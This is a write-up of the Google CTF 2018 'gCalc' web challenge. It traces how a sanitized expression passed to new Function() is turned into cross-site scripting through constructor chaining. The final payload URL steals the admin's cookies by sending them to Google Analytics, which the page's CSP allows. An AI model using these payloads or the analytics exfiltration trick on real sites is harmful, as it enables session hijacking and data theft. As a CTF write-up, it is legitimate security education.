gCalc is the web challenge in Google CTF 2018 quals and only 15 teams solved during 2 days’ competition!
This challenge is a very interesting challenge that give me lots of fun. I love the challenge that challenged your exploit skill instead of giving you lots of code to find a simple vulnerability or guessing without any hint. So that I want to write a writeup to note this :P
The challenge gave you a link https://gcalc2.web.ctfcompetition.com/. It just a calculator written in JavaScript and seems like a XSS challenge. There is a try it
hyperlink in the bottom and pass your formula expression to admin!
At first glance I found there are 2 parameter we can control from query string - expr
and vars
. It looks like:
https://gcalc2.web.ctfcompetition.com/?expr=vars.pi*3&vars={"pi":3.14159,"ans":0}
You can define some variables in the context and use them in formula expression. But the variable only allowed Number
type, and the Object
type that created from null
, that means there is no other methods and properties in the created Object
. The prettified JavaScript code you can find out from my gist!
As you can see, the real vulnerability is very straightforward. Argument a
is expr
in query string and argument b
is vars
. The expr
just do some sanitizers and pass to new Function()
. The new Function()
is like eval
in JavaScript!
function p(a, b) {
a = String(a).toLowerCase();
b = String(b);
if (!/^(?:[\(\)\*\/\+%\-0-9 ]|\bvars\b|[.]\w+)*$/.test(a)) throw Error(a);
b = JSON.parse(b, function(a, b) {
if (b && "object" === typeof b && !Array.isArray(b)) return Object.assign(Object.create(null), b);
if ("number" === typeof b) return b
});
return (new Function("vars", "return " + a))(b)
}
The sanitizer of expr
looks like flexible. We use regex101 to analyse the regular expression. The regular expression allowed some operands and operators in expression, and the variable name must starts-with vars
. The first thought in my head is that we can use constructor.constructor(CODE)()
to execute arbitrary JavaScript. Then the remaining part is how to create the CODE
payload.
Quickly, I wrote the first version of exploit like:
// https://regex101.com/r/FLdJ7h/1
// alert(1) // Remove whitespaces by yourself
vars.pi.constructor.constructor(
vars.pi.toString().constructor.fromCharCode(97)+
vars.pi.toString().constructor.fromCharCode(108)+
vars.pi.toString().constructor.fromCharCode(101)+
vars.pi.toString().constructor.fromCharCode(114)+
vars.pi.toString().constructor.fromCharCode(116)+
vars.pi.toString().constructor.fromCharCode(40)+
vars.pi.toString().constructor.fromCharCode(49)+
vars.pi.toString().constructor.fromCharCode(41)
)()
I debug for an hour and got stuck by this exploit. I am curious about why this works in my console but fails to XSS. Finally, I find the root cause that there is a toLowerCase
in the first line, so our toString
and fromCharCode
will fail… orz
function p(a, b) {
a = String(a).toLowerCase();
b = String(b);
...
After knowing this, I quickly wrote next version of exploit, retrieving the payload from key of vars
map! In my payload, I use /1/.exec(1).keys(1).constructor
to get the Obejct
constructor and keys(vars).pop()
to retrieve the last key in the vars
map!
Here is the payload:
// https://regex101.com/r/IMXgwR/1
(1).constructor.constructor(
/1/.exec(1).keys(1).constructor.keys(vars).pop()
)()
https://gcalc2.web.ctfcompetition.com/
?expr=(1).constructor.constructor(/1/.exec(1).keys(1).constructor.keys(vars).pop())()
&vars={"pi":3.14159,"ans":0,"alert(1)":0}
Hi, we got the alert(1)
Does it finished? Not yet :(
Our goal is to steal cookies from admin, and we encountered CSP problem!
CSP of /
Content-Security-Policy: default-src 'self'; child-src https://sandbox-gcalc2.web.ctfcompetition.com/
CSP of /static/calc.html
Content-Security-Policy: default-src 'self'; frame-ancestors https://gcalc2.web.ctfcompetition.com/; font-src https://fonts.gstatic.com; style-src 'self' https://*.googleapis.com 'unsafe-inline'; script-src 'self' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.google-analytics.com https://*.googleapis.com 'unsafe-eval' https://www.googletagmanager.com; child-src https://www.google.com/recaptcha/; img-src https://www.google-analytics.com;
We can’t use redirection or load external resources to exfiltrate cookies. But I have noticed that img-src https://www.google-analytics.com
in the CSP header and remembered long time ago, I read a HackerOne report that using Google Analytics for data exfiltration! You can embed your data in the parameter ea
of Google Analytics to outside, and we can see results from Google Analytics console!
Here is the final exploit
https://gcalc2.web.ctfcompetition.com/
?expr=(1).constructor.constructor(/1/.exec(1).keys(1).constructor.keys(vars).pop())()
&vars={"pi":3.14159,"ans":0, "x=document.createElement('img');x.src='https://www.google-analytics.com/collect
?v=1&tid=UA-00000000-1&cid=0000000000&t=event&ec=email&ea='+encodeURIComponent(document.cookie);document.querySelector('body').append(x)":0}
Oh yeah. The flag is CTF{1+1=alert}
!